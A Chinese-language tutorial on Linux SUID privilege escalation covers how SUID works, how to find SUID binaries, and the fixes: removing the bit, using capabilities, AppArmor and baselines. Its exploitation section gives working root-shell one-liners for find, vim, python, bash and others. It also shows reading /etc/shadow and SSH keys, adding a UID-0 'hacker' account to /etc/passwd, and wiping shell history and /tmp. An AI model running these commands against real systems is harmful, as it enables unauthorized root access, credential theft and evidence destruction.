SUID 提权原理,利用,常见命令,以及修复方式
在 Linux 里,每个文件都有"主人"(用户)和"权限"(读/写/执行)。普通用户运行程序时,这个程序只能以普通用户的身份干活。
比如:
user(UID=1000)cat,这个 cat 进程也是 user 身份cat 读不了 /etc/shadow(只有 root 能读)SUID(Set User ID,设置用户 ID)是 Linux 文件权限中的一个"特殊位"。它的效果就像一张变身卡:
如果一个程序被设置了 SUID,那么任何人运行它时,都会临时变成这个程序主人的身份来执行。
生活中的类比:
用 ls -l 查看文件权限时,SUID 会在所有者执行位显示为 s:
bash-rwsr-xr-x 1 root root 123456 Jan 1 00:00 /usr/bin/passwd
# ↑ 这个 s 就是 SUID 标志!
正常权限是 rwx(读、写、执行),SUID 把 x 变成了 s。
有些程序必须有 SUID 才能正常工作,比如:
| 程序 | 为什么需要 SUID |
|---|---|
/usr/bin/passwd | 普通用户要修改 /etc/shadow(只有 root 能写) |
/usr/bin/sudo | 普通用户需要临时提升权限 |
/bin/ping | 需要创建原始网络套接字(raw socket) |
/bin/su | 切换用户身份 |
这些是正常的、安全的。
SUID 提权的本质就一句话:
借 root 身份的"壳",执行攻击者控制的"魂"。
当管理员错误地给一个不该有 SUID 的程序设置了 SUID 位,且这个程序的主人还是 root 时,攻击者就能:
严格来说:
它们都属于 SUID 提权这个大家族。
-exec、内置 shell、解释器等)bash# 查找系统中所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 或更精确的写法
find / -perm -u=s -type f 2>/dev/null
-perm -4000 表示查找权限中包含 SUID 位的文件。
执行后你会看到类似这样的输出:
bash-rwsr-xr-x 1 root root 64424 Mar 23 2022 /usr/bin/passwd ← 正常 -rwsr-xr-x 1 root root 232536 Feb 8 2022 /usr/bin/sudo ← 正常 -rwsr-xr-x 1 root root 123456 Jan 1 2022 /usr/bin/find ← 🚨 异常! -rwsr-xr-x 1 root root 234567 Jan 1 2022 /usr/bin/vim ← 🚨 异常! -rwsr-xr-x 1 root root 345678 Jan 1 2022 /usr/bin/python3 ← 🚨 异常!
正常该有的(系统自带,一般安全):
/usr/bin/passwd、/usr/bin/sudo、/bin/ping、/bin/su、/bin/mount不该有的(一看到就要警惕):
/usr/bin/find、/usr/bin/vim、/usr/bin/nano/usr/bin/python*、/usr/bin/php*、/usr/bin/perl/bin/bash、/bin/cp、/bin/mv/usr/bin/less、/usr/bin/more、/usr/bin/awk、/usr/bin/sed/usr/bin/nmap、/usr/bin/base64bash# 下载并运行
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
LinPEAS 会自动扫描 SUID 文件,并用颜色标记风险等级。
专门用于枚举和分析 SUID 文件的工具,会尝试自动匹配 GTFOBins 数据库。
bash# 查看某个文件是否有 SUID
ls -la /usr/bin/find
# 查看 SUID 文件的详细信息
stat /usr/bin/find
# 查看当前用户的 sudo 权限(配合 SUID 一起查)
sudo -l
⚠️ 重要声明:以下所有利用方式的前提是——该程序被错误设置了 SUID 位,且所有者为 root。正常系统上这些命令是安全的!
原理:find 的 -exec 参数可以在找到文件后执行任意命令。如果 find 有 SUID,执行的命令就是 root 身份。
利用方式 1:直接弹 Shell
bashfind / -exec /bin/sh -p \;
# 或
find . -exec /bin/bash -p \;
-p 参数保持特权,防止 shell 自动降级。
利用方式 2:执行单条命令
bashfind /etc/passwd -exec whoami \; # 输出 root
find /etc/passwd -exec id \; # 输出 uid=0(root)
利用方式 3:读取敏感文件
bashfind /etc/passwd -exec cat /etc/shadow \;
find /etc/passwd -exec cat /root/.ssh/id_rsa \;
利用方式 4:写入恶意文件
bashfind /etc/passwd -exec bash -c 'echo "hacker::0:0:::/bin/bash" >> /etc/passwd' \;
原理:vim 内置了执行 shell 命令的功能(:!command)。vim 有 SUID 时,这些命令以 root 运行。
利用方式 1:直接弹 Shell
bashvim -c ':!/bin/bash'
启动 vim 时直接执行 :!/bin/bash。
利用方式 2:Python 模块(如果 vim 支持 Python)
bashvim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "/bin/bash")'
在 vim 里调用 Python,把 UID 改成 0,再启动 bash。
利用方式 3:在 vim 内部手动执行
bashvim
# 进入 vim 后输入:
:!/bin/bash
原理:nano 能读写任意文件,也能执行外部命令。
利用方式 1:修改 /etc/passwd(最稳妥)
先生成密码哈希:
bashopenssl passwd 123456
# 输出:$1$OIcK5E2B$cxptzlqgqFr0ag2xNnKrF/
用 nano 打开 /etc/passwd,添加一行:
bashnano /etc/passwd
# 添加:
hacker:$1$OIcK5E2B$cxptzlqgqFr0ag2xNnKrF/:0:0:root:/root:/bin/bash
保存后 su hacker,输入密码 123456 就是 root。
利用方式 2:尝试弹 Shell(部分系统有效)
bashnano
# 按 Ctrl+R 然后 Ctrl+X
# 输入:reset; sh 1>&0 2>&0
注意:较新系统上可能受限,GTFOBins 标注为 "Limited SUID"。
原理:Python 是完整的编程语言,有 os 模块可直接执行系统命令。
bash# 方式 1
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# 方式 2
python -c 'import os; os.system("/bin/bash -p")'
# 方式 3(更完整)
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
原理:PHP 也能执行系统命令。
bash# 方式 1
php -r 'system("/bin/bash -p");'
# 方式 2
php -r 'exec("/bin/sh -p");'
# 方式 3(需要 pcntl 扩展)
php -r 'pcntl_exec("/bin/sh", ["-p"]);'
原理:bash 本身就是 shell。有 SUID 时直接运行即可。
bash/bin/bash -p
⚠️ 关键:不加
-p的话,现代 bash 会检测到自己是 SUID 启动的,自动把权限降到普通用户。加了-p才保持 root。
原理:cp 有 SUID 意味着可以以 root 身份复制、覆盖任何文件。
方式 1:覆盖 /etc/passwd
bashcat /etc/passwd > /tmp/passwd.new
echo 'hacker:$1$OIcK5E2B$cxptzlqgqFr0ag2xNnKrF/:0:0:root:/root:/bin/bash' >> /tmp/passwd.new
cp /tmp/passwd.new /etc/passwd
su hacker
方式 2:给 bash"传染"SUID
bashcp /bin/bash /tmp/bash
cp --attributes-only --preserve=all /bin/cp /tmp/bash
/tmp/bash -p
这样 /tmp/bash 就拥有了和 cp 一样的 SUID + root 所有权。
原理:mv 有 SUID 时可以以 root 身份替换任何文件。
bash# 准备好恶意 passwd
echo 'hacker:$1$OIcK5E2B$cxptzlqgqFr0ag2xNnKrF/:0:0:root:/root:/bin/bash' > /tmp/passwd_evil
mv /tmp/passwd_evil /etc/passwd
su hacker
也可以替换:
/etc/crontab(添加定时任务)/etc/sudoers(给自己加 sudo 权限)/root/.ssh/authorized_keys(替换 SSH 公钥)bashless /etc/passwd
# 在 less 里输入:
!/bin/bash
bashawk 'BEGIN {system("/bin/bash")}'
bashsed -n '1e exec /bin/sh 1>&0' /etc/passwd
bashnmap --interactive !sh
新版 nmap 已移除交互模式。
bash# 读取 /etc/shadow(base64 编码后输出)
base64 /etc/shadow | base64 -d
虽然不能直接弹 shell,但可以读取敏感文件。
| 利用类型 | 代表命令 | 核心思路 |
|---|---|---|
| Shell 逃逸 | find, vim, bash, less, nmap | 利用程序内置功能执行 shell 命令 |
| 文件读写 | cp, mv, nano, vim, base64 | 以 root 身份读写系统关键文件 |
| 解释器执行 | python, php, perl, awk, sed | 利用图灵完备语言执行任意代码 |
| 权限传染 | cp | 把 SUID 属性复制给其他程序 |
bash# 查看当前身份
whoami
id
# 查找 SUID 文件
find / -perm -4000 -type f 2>/dev/null
发现 /usr/bin/find 有 SUID,且所有者是 root。
bashfind /etc/passwd -exec whoami \;
# 输出:root ← 确认可以提权!
bashfind / -exec /bin/bash -p \;
# 拿到 root shell
id
# uid=0(root) gid=0(root)
bashhistory -c
rm -rf /tmp/*
bash# 1. 扫描所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 2. 移除不必要的 SUID
chmod u-s /usr/bin/find
chmod u-s /usr/bin/vim
chmod u-s /usr/bin/nano
chmod u-s /usr/bin/python3
chmod u-s /usr/bin/php
chmod u-s /bin/bash
chmod u-s /bin/cp
chmod u-s /bin/mv
chmod u-s /usr/bin/less
chmod u-s /usr/bin/more
chmod u-s /usr/bin/awk
chmod u-s /usr/bin/sed
只允许以下程序保留 SUID:
/usr/bin/passwd/usr/bin/sudo/bin/su/bin/ping(部分系统已改用 capabilities)其他全部移除!
Capabilities 是更细粒度的权限控制,可以只给程序需要的特定权限,而不是全部 root 权限。
bash# 查看文件的 capabilities
getcap /usr/bin/ping
# 给程序设置特定 capability(如允许创建 raw socket)
setcap cap_net_raw+ep /usr/bin/myprogram
# 移除 SUID,改用 capabilities
chmod u-s /usr/bin/ping
setcap cap_net_raw+ep /usr/bin/ping
如果你是开发者,写了一个需要 SUID 的程序:
使用绝对路径调用外部命令
c// 错误
system("ifconfig");
// 正确
system("/sbin/ifconfig");
尽早降权:用完 root 权限后,立即 setuid(getuid()) 回到普通用户身份
清理环境变量:清除 PATH、LD_PRELOAD、LD_LIBRARY_PATH 等可能被利用的变量
验证输入:对所有用户输入做严格校验
使用 AppArmor 或 SELinux 限制 SUID 程序的行为:
bash# Ubuntu 默认启用 AppArmor
aa-status
# 为自定义 SUID 程序编写 tight profile
即使 SUID 被利用,MAC 也能限制它能访问的文件和执行的操作。
bash# 创建 SUID 基线
find / -perm -4000 -type f 2>/dev/null > /root/suid_baseline.txt
# 定期对比
find / -perm -4000 -type f 2>/dev/null | diff - /root/suid_baseline.txt
防止通过 core dump 泄露 SUID 进程的敏感信息:
bashecho 0 > /proc/sys/fs/suid_dumpable
# 持久化
echo "fs.suid_dumpable = 0" >> /etc/sysctl.conf
sysctl -p
GTFOBins 是一个开源项目,专门收录了各种 Unix 二进制文件在 SUID、sudo、capabilities 等场景下的滥用方法。
🔗 官网:https://gtfobins.github.io/
使用方法:
/usr/bin/base64)base64对防守方同样重要:在设置任何 SUID 之前,先去 GTFOBins 查一下,如果它在列表里,绝对不要设 SUID。
bashfind / -perm -4000 -type f 2>/dev/null # 找 SUID
ls -la <file> # 确认 SUID
sudo -l # 查 sudo 权限
| 程序 | 一键提权命令 |
|---|---|
| find | find / -exec /bin/sh -p \; |
| vim | vim -c ':!/bin/bash' |
| nano | nano /etc/passwd → 添加 UID=0 用户 |
| python | python -c 'import os; os.execl("/bin/sh","sh","-p")' |
| php | php -r 'system("/bin/bash -p");' |
| bash | /bin/bash -p |
| cp | cp /tmp/passwd_evil /etc/passwd |
| mv | mv /tmp/passwd_evil /etc/passwd |
| less | less /etc/passwd → !/bin/bash |
| awk | awk 'BEGIN{system("/bin/bash")}' |
| nmap | nmap --interactive → !sh |
bashchmod u-s <file> # 移除 SUID
setcap <cap>+ep <file> # 改用 capabilities
getcap -r / 2>/dev/null # 审计 capabilities
┌─────────────────────────────────────────────────────────────┐ │ SUID 提权核心逻辑: │ │ 1. 管理员给程序"开挂"(SUID + root 所有权) │ │ 2. 攻击者发现这个"挂" │ │ 3. 借程序的 root 身份执行命令/读写文件 │ │ 4. 成功提权 │ ├─────────────────────────────────────────────────────────────┤ │ 防守核心原则: │ │ • 能不设 SUID 就不设 │ │ • 能设 capabilities 就不设 SUID │ │ • 定期审计,建立白名单 │ │ • 写 SUID 程序时尽早降权、用绝对路径 │ └─────────────────────────────────────────────────────────────┘
参考资源: